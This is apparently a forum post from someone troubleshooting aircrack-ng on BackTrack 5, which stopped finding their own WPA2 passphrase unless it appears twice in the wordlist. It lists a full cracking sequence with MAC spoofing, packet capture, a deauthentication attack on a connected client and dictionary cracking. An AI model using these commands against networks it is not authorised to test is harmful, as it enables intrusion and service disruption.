aircrack-ng not finding my own pw in wordlist backtrack 5 r3 kde
Hello everyone!
I had a quick question regarding aircrack.
I recently reformatted backtrack with a thumb drive from teh gnome version to the KDE version. I noticed upon testing out my own wifi network that aircrack no longer seems to be able to crack my wpa2 pw. I noticed it no longer access the screen where it shows the diffrent keyes as it cycles through the wordlist. I am not sure what I am doing wrong but to help I will go ahead and post what I am doing. This worked on my network when I was on gnome. I dont think the os visual gui change has anything to do with this though so I am assuming it is probably something to do with what i am doing in aircrack. Aircrack version is 1.1 btw.
/////WPA with aircrack/////
sudo ifconfig wlan0 down
sudo ifconfig wlan0 hw ether 00:11:22:33:44:55
sudo ifconfig wlan0 up
airmon-ng start wlan0
ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up
airodump-ng mon0
airodump-ng -c (channel) -w (file name-01.cap) --bssid (bssid) mon0
aireplay-ng -0 5 -a (bssid) -c (macid) mon0
aircrack-ng -b (bssid) -w (wordlist) (file name-01.cap)
(if anyone is wondering why I use macchanger for mon0 it is because if i use it on wlan0 i cant perform nmap scans.)
Any help would be great and please let me know if you need any more information from me to help me with this. Thank you!

Quick update,
So I found out it will find the pin if its in the word list twice.
What is even stranger is if I delete the second entry from the word list it still works until I make a new text document and don't use the key twice.
This is obviously a bit of a problem as all word lists only use a word once per line (I think). Also copying a word list to run through twice is double the maximum time and not a good solution. If anyone has an idea of why it may be behaving like this let me know!
Thank you!
